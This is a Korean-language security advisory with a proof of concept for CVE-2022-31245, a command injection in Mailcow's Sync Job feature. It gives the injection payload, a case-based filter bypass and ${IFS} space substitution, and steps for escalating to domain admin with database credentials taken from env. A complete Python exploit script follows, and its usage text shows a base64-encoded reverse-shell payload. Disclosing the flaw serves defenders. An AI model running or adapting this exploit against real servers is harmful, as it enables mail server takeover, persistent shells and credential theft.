
CVE-2022-31245: Mailcow를 위한 RCE 및 도메인 관리자 권한 상승
CVE-2022-31245: Mailcow를 위한 RCE 및 도메인 관리자 권한 상승. POC 포함.
보고 및 수정: 2022-05
패치된 버전: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
심각도: 3/3
유형: 명령 주입, RCE, 도메인 탈취
영향을 받는 버전: 최소 2019 - 2022-05c
최근 모든 Mailcow 버전에는 일반 시스템 사용자가 "Sync Job" 기능을 악용하여 imapsync의 명령 주입을 통해 셸을 얻을 수 있는 결함이 존재합니다. 이 취약점을 사용하면 공격자는 쉽게 데이터베이스로 피벗하여 Mailcow에서 "도메인 관리자" 역할로 권한을 상승시킬 수 있습니다.
이 익스플로잇은 Sync Job이 타이머로 실행되므로 기본적으로 지속성(persistence)을 포함합니다.
이 익스플로잇은 전체 Mailcow 인스턴스를 손상시킵니다. 2022-05c 릴리스에서 테스트되었으며 동작합니다. 2022-05d에서 패치되었습니다.
아래 단계를 사용하여 취약점을 재현할 수 있습니다.
셸 획득:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
"Custom Parameters" 필드가 중요한 필드입니다. CMD는 공백 없는 임의의 셸 명령일 수 있습니다. 대문자를 사용하는 것이 중요합니다!Custom Parameters 예시 페이로드:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD에는 공백, 따옴표 또는 슬래시를 포함할 수 없습니다. 공백 대신 ${IFS}를 사용하세요. --PIPEMESS를 대문자로 사용하는 것은 functions.mailbox.inc.php 라인 340의 검사를 우회하기 위해 중요합니다:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
이 대문자 명령은 imapsync가 대소문자를 구분하지 않기 때문에 여전히 동작합니다.
권한 상승:
env를 실행합니다DBUSER와 DBPASS를 찾습니다mysql과 자격 증명을 사용하여 데이터베이스에 로그인합니다자동화된 POC입니다. POC는 경우에 따라 로컬이 아닌 Mailcow 인스턴스에 대해 실행하려면 수정이 필요할 수 있습니다.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")